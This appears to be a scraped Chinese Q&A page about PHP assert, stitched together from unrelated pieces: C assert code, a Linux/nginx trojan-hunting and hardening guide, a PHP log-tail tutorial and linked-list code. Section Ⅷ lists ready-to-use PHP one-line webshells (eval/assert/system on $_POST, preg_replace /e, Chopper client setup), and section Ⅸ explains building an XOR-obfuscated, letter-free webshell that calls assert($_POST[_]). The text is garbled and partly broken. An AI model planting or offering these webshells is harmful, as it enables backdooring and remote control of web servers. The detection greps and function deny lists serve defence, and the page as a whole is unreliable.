phpassert
#include<assert.h>char* strcpy(char* strDest, char* strSource)
{
int size1,size2;
size1=strlen(strDest);//也可用while判斷到'\0',size1++;
size2=strlen(strSource);//同上
assert((strDest != NULL) && (strSource != NULL)&& (size1>=size2)); // 防禦主要在於使用斷言,必須都是非空指針,而且Dest長度大於等於Source的長度才能繼續執行函數
byte *pbTo = (byte *) strDest; // 防止改變strDest 的地址
byte *pbFrom = (byte *) strSource; // 防止改變strSource 的地址
while(size1-- > 0 )
*pbTo ++ = *pbFrom ++ ;
*pbTo='\0';
return strDest;
}
Ⅱ assert php 5支持嗎
//容錯代碼 //使用Lanker一句話客戶端的專家模式執行相關的PHP語句 /*使用這個後,使用菜刀一句話客戶端在 配置連接的時候在"配置"一欄輸入*/:h=@eval_r($_POST1); //繞過
Ⅲ 如何查linux的nginx是否被掛馬
linux系統相對比windows安全,但是有些程序上的不安全行為。不管你是什麼系統,一樣也會存在危險因素,在這里,我們總結出了linux系統下的一些常見排除木馬和加固系統安全性的方法。
1、改變目錄和文件屬性,禁止寫入
find -type f -name \*.php -exec chmod 444 {} \;
find -type d -exec chmod 555 {} \;
註:當然要排除上傳目錄、緩存目錄等;
同時最好禁止chmod函數,攻擊者可通過chmod來修改文件只讀屬性再修改文件
2、php的危險配置
禁用一些危險的php函數,例如:
passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,
ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,escapeshellcmd,popen,dl,
syslog,show_source
3、nginx安全方面的配置
限制一些目錄執行php文件
location~^/images/.*\.(php|php5)$
{
denyall;
}
location~^/static/.*\.(php|php5)$
{
denyall;
}
location~*^/data/(attachment|avatar)/.*\.(php|php5)$
{
denyall;
}
註:這些目錄的限制必須寫在
location~.*\.(php|php5)$
{
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fcgi.conf;
}
的前面,否則限制不生效!
path_info漏洞修正:
在通用fcgi.conf頂部加入
if ($request_filename ~* (.*)\.php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 404;
}
4、linux系統下查找php的相關木馬
php木馬一般含有<?php eval($_POST[cmd]);?>或者<?php assert($_POST[cmd]);?>
find /data/wwwroot/* -type f -name "*.php" |xargs grep "eval(" > /root/scan.txt
另外也有上傳任意文件的後門,可以用上面的方法查找所有包括"move_uploaded_file"的文件.
還有常見的一句話後門:
grep -r --include=*.php '[^a-z]eval($_POST' . > grep.txt
grep -r --include=*.php 'file_put_contents(.*$_POST\[.*\]);' . > grep.txt
把搜索結果寫入文件,下載下來慢慢分析,其他特徵木馬、後門類似。有必要的話可對全站所有文件來一次特徵查找,上傳圖片肯定有也捆綁的,來次大清洗。
5、查找近3天被修改過的文件:
find /data/www -mtime -3 -type f -name \*.php
注意:攻擊者可能會通過touch函數來修改文件時間屬性來避過這種查找,所以touch必須禁止
6、查找所有圖片文件
查找所有圖片文件gif,jpg.有些圖片內容里被添加了php後門腳本.有些實際是一個php文件,將擴展名改成了gif了.正常查看的情況下也可以看到顯示的圖片內容的.這一點很難發現.
曾給客戶處理過這類的木馬後門的.發現在php腳本里include一個圖片文件,經過查看圖片文件源代碼,發現竟然是php腳本.
好了。安全加固你的php環境是非常重要的運維工作,大家還有什麼其他加固安全的好方法,可以拿過來分享一下。
提示:如果上面顯示空白或者頁面排版混亂、內容顯示不完整等影響閱讀的問題,請點擊這兒瀏覽原文
返回腳本百事通首頁 如果您喜歡腳本編程技術,歡迎加入QQ群:246889341,在群里認識新朋友和交流技術^_^
Linux下查找後門程序
每個進程都會有一個PID,而每一個PID都會在/proc目錄下有一個相應的目錄,這是Linux(當前內核2.6)系統的實現。
一般後門程序,在ps等進程查看工具里找不到,因為這些常用工具甚至系統庫在系統被入侵之後基本上已經被動過手腳(網上流傳著大量的rootkit。假如是內核級的木馬,那麼該方法就無效了)。
因為修改系統內核相對復雜(假如內核被修改過,或者是內核級的木馬,就更難發現了),所以在/proc下,基本上還都可以找到木馬的痕跡。
思路:
在/proc中存在的進程ID,在 ps 中查看不到(被隱藏),必有問題。
Bash Shell:
#!/bin/bash
str_pids="`ps -A | awk '{print $1}'`"
for i in /proc/[[:digit:]]*; do
if echo "$str_pids" | grep -qs `basename "$i"`; then
:
else
echo "Rootkit's PID: $(basename "$i")"
fi
done
討論:
檢查系統(Linux)是不是被黑,其復雜程度主要取決於入侵者「掃尾工作」是否做得充足。對於一次做足功課的入侵來說,要想剔除干凈,將是一件分精密、痛苦的事情,通常這種情況,需要用專業的第三方的工具(有開源的,比如tripwire,比如aide)來做這件事情。
而專業的工具,部署、使用相對比較麻煩,也並非所有的管理員都能熟練使用。
實際上Linux系統本身已經提供了一套「校驗」機制,在檢查系統上的程序沒有被修改。比如rpm包管理系統提供的 -V 功能:
rpm -Va
即可校驗系統上所有的包,輸出與安裝時被修改過的文件及相關信息。但是rpm系統也可能被破壞了,比如被修改過。
Ⅳ PHP編程題
在php中,對於文件的讀取時,最快捷的方式莫過於使用一些諸如file、file_get_contents之類的函數,簡簡單單的幾行代碼就能很漂亮的完成我們所需要的功能。但當所操作的文件是一個比較大的文件時,這些函數可能就顯的力不從心, 下面將從一個需求入手來說明對於讀取大文件時,常用的操作方法。
需求
有一個800M的日誌文件,大約有500多萬行, 用php返回最後幾行的內容。
實現方法
1. 直接採用file函數來操作
註:由於 file函數是一次性將所有內容讀入內存,而php為了防止一些寫的比較糟糕的程序佔用太多的內存而導致系統內存不足,使伺服器出現宕機,所以默認情況下限制只能最大使用內存16M,這是通過php.ini里的memory_limit = 16M來進行設置,這個值如果設置-1,則內存使用量不受限制.
下面是一段用file來取出這具文件最後一行的代碼.
整個代碼執行完成耗時 116.9613 (s).
$fp = fopen($file, "r");
$num = 10;
$chunk = 4096;
$fs = sprintf("%u", filesize($file));
$max = (intval($fs) == PHP_INT_MAX) ? PHP_INT_MAX : filesize($file);
for ($len = 0; $len < $max; $len += $chunk) {
$seekSize = ($max - $len > $chunk) ? $chunk : $max - $len;
fseek($fp, ($len + $seekSize) * -1, SEEK_END);
$readData = fread($fp, $seekSize) . $readData;
if (substr_count($readData, "n") >= $num + 1) {
preg_match("!(.*?n){".($num)."}$!", $readData, $match);
$data = $match[0];
break;
}
}
fclose($fp);
echo $data;
我機器是2個G的內存,當按下F5運行時,系統直接變灰,差不多20分鍾後才恢復過來,可見將這么大的文件全部直接讀入內存,後果是多少嚴重,所以不在萬不得以,memory_limit這東西不能調得太高,否則只有打電話給機房,讓reset機器了.
2.直接調用linux的tail命令來顯示最後幾行
在linux命令行下,可以直接使用tail -n 10 access.log很輕易的顯示日誌文件最後幾行,可以直接用php來調用tail命令,執行php代碼如下.
整個代碼執行完成耗時 0.0034 (s)
file = 'access.log';
$file = escapeshellarg($file); // 對命令行參數進行安全轉義
$line = `tail -n 1 $file`;
echo $line;
3. 直接使用php的fseek來進行文件操作
這種方式是最為普遍的方式,它不需要將文件的內容全部讀入內容,而是直接通過指針來操作,所以效率是相當高效的.在使用fseek來對文件進行操作時,也有多種不同的方法,效率可能也是略有差別的,下面是常用的兩種方法.
方法一
首先通過fseek找到文件的最後一位EOF,然後找最後一行的起始位置,取這一行的數據,再找次一行的起始位置,再取這一行的位置,依次類推,直到找到了$num行。
實現代碼如下
整個代碼執行完成耗時 0.0095 (s)
function tail($fp,$n,$base=5)
{
assert($n>0);
$pos = $n+1;
$lines = array();
while(count($lines)< =$n){
try{
fseek($fp,-$pos,SEEK_END);
} catch (Exception $e){
fseek(0);
break;
}
$pos *= $base;
while(!feof($fp)){
array_unshift($lines,fgets($fp));
}
}
return array_slice($lines,0,$n);
}
var_mp(tail(fopen("access.log","r+"),10));
方法二
還是採用fseek的方式從文件最後開始讀,但這時不是一位一位的讀,而是一塊一塊的讀,每讀一塊數據時,就將讀取後的數據放在一個buf里,然後通過換行符(n)的個數來判斷是否已經讀完最後$num行數據.
實現代碼如下
整個代碼執行完成耗時 0.0009(s).
$fp = fopen($file, "r");
$line = 10;
$pos = -2;
$t = " ";
$data = "";
while ($line > 0) {
while ($t != "n") {
fseek($fp, $pos, SEEK_END);
$t = fgetc($fp);
$pos --;
}
$t = " ";
$data .= fgets($fp);
$line --;
}
fclose ($fp);
echo $data
方法三
整個代碼執行完成耗時 0.0003(s)
ini_set('memory_limit','-1');
$file = 'access.log';
$data = file($file);
$line = $data[count($data)-1];
echo $line;
php壓縮HTML函數輕松實現壓縮html/js/Css及注意事項 phpexcel導出excel的顏色和網頁中的顏色顯示不一致
Ⅳ php中eval和assert的區別
assert():
assert這個函數在php語言中是用來判斷一個表達式是否成立。返回true or false;
例如
<?php
$s =123;
assert("is_int($s)");
?>
從這個例子可以看到字元串參數會被執行,這跟eval()類似。不過eval($code_str)只是執行符合php編碼規范的$code_str。assert的用法卻更詳細一點。
assert_option()可以用來對assert()進行一些約束和控制;
如果按照默認值來,在程序的運行過程中調用assert()來進行判斷表達式,遇到false時程序也是會繼續執行的,這在生產環境中這樣使用是不好的,而 在開發調試環境中,卻是一種debug的不錯的方式。特別是用上callback的方法,可以知道具體的出錯信息。
所以,php的官方文檔里頭是建議將assert用來進行debug,我們可以發現還有一個開關ASSERT_ACTIVE可以用來控制是否開啟debug。
現在問題就產生了,如果程序員在開發的時候在代碼中留下了很多assert(),然後在程序發布的時候關閉執行,設置assert_options(ASSERT_ACTIVE,0);這樣做是否可行?有沒有安全問題?
我的建議是,既然assert主要作用是debug,就不要在程序發布的時候還留著它。在程序中用assert來對表達進行判斷是不明智的,原因上文說了, 一個是在生產環境中assert可能被disabled,所以assert不能被完全信任;二是assert()可以被繼續執行;而如果在生產環境讓ASSERT_ACTIVE=1,那這個表達式字元串可以被執行本身就存在安全隱患。
eval():該函數對於在資料庫文本欄位中供日後計算而進行的代碼存儲很有用。
注意:1.eval()里必須是字元串;2.eval()里的引號必須是雙引號,因為單引號不能解析字元串里的變數$str;
定義和用法:
(1)eval() 函數把字元串按照 PHP 代碼來計算(計算=執行)。
(2)該字元串必須是合法的 PHP 代碼,且必須以分號結尾。
(3)如果沒有在代碼字元串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。
Ⅵ PHP判斷鏈表是否有環
判斷是否帶環:用快慢指針。快指針每走兩步,慢指針走一步,如果兩者在某個點處相。
遇,則鏈表帶環。
下邊給出函數的實現代碼:
typedef struct LinkNode{DataType data;struct LinkNode *next;}LinkNode,*pLinkNode;typedef struct LinkList{LinkNode *pHead;}LinkList,*pLinkList;pLinkNode isCircle(pLinkList plist){assert(plist);if (NULL == plist->pHead){printf("鏈表為空 ");return NULL;}pLinkNode fast = plist->pHead;pLinkNode slow = plist->pHead;while (fast && fast->next){fast = fast->next->next;slow = slow->next;if (fast == slow)return fast;}return NULL;}
如果
如果鏈表帶環,看下邊的圖:
代碼:
pLinkNode firstCrossNode(pLinkList plist){assert(plist);if (NULL == plist->pHead){printf("鏈表是空 ");return NULL;}pLinkNode ret = isCircle(plist);if (ret == NULL){printf("鏈表不帶環 ");return NULL;}pLinkNode fast = plist->pHead;pLinkNode slow = ret;while (fast){fast = fast->next;slow = slow->next;if (fast == slow)return fast;}}Ⅶ php assert是不是內置函數
你好,是的。此類問題直接網路搜索 php assert 就能看到php官方手冊有這個函數。http://php.net/manual/zh/function.assert.php
Ⅷ 一個有意思的 PHP 一句話後門,怎麼破
<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容錯代碼
<?php assert($_POST1);?>//使用Lanker一句話客戶端的專家模式執行相關的PHP語句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用這個後,使用菜刀一句話客戶端在
配置連接的時候在"配置"一欄輸入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
//繞過<?限制的一句話
<script language="php">@eval_r($_POST[sb])</script>
Ⅸ 如何通過非數字與字元的方式實現PHP WebShell詳解
通過一系列字元變換最終利用非字母和非數字字元構建出webshell,然後使用PHP的動態函數(例如「assert」)來完成函數名的拼接,最後動態執行構建出來的代碼。
所以,轉換方法就是解決這一問題的重點了。但是在開始之前,我需要跟大家討論以下php5和php7之間的區別。
php5的斷言(assert)是通過函數實現的,我們可以使用$f='assert';$f(…);這種方法來動態執行任意代碼。但是在php7中,斷言已經不再是一個函數了,而是一種語言結構(類似eval),而且斷言(assert)也無法再作為函數名來實現代碼的動態執行了,所以對於php7來說,問題可能會變得更加復雜了。不過各位也不用太過擔心,因為我們可以使用
file_put_contents函數來達到我們的目的。
為了方便起見,本文的實驗環境使用的是php5,關於php7的利用方式就請各位自行去探索啦:D
方法一
這是一種最簡單的方法了。在php中,我們可以通過異或運算(XOR)來得到一個或兩個字元串。因此,如果我們想要得到一個a-z之間的英文字元,我們就可以通過兩個非字母字元和字元數來生成所需要的字母字元。示例代碼如下:
?1
2
3
4
5
6
7
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
解析結果如下: